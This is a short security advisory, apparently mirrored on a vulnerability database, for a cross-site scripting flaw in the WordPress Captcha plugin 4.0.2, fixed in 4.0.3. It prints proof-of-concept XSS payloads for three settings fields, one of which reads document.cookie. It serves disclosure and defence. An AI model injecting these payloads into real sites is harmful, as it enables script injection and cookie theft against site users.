WordPress Captcha 4.0.2 Cross Site Scripting

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漏洞ID 1040657 漏洞类型
发布时间 2015-12-17 更新时间 2015-12-17
漏洞平台 N/A CVSS评分 N/A
Plugin Name : Captcha
Effected Version : 4.0.2 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula

Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :
In the above page the following fields put the payload as below
cptch_label_form = ?><script>alert(1)</script>
cptch_required_symbol = ?><script>alert(2)</script>
bws_license_key =?><img src=x onerror=prompt(document.cookie);>
Vulnerable Parameter : cptch_label_form, cptch_required_symbol, bws_license_key
Type of XSS : Reflected / Stored
Fixed in : 4.0.3
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
The Captcha plugin allows you to implement a super security captcha form into web forms. It protects your website from spam by means of math logic, easily understood by human beings. You will not have to spend your precious time on annoying attempts to understand hard-to-read words, combinations of letters or pictures that make your eyes pop up. All you need is to do one of the three basic maths actions - add, subtract and multiply. This captcha can be used for login, registration, password recovery, comments forms. There is also a premium version of the plugin, allowing compatibility with BuddyPress (Registration form, Comments form, "Create a Group" form) and Contact Form 7.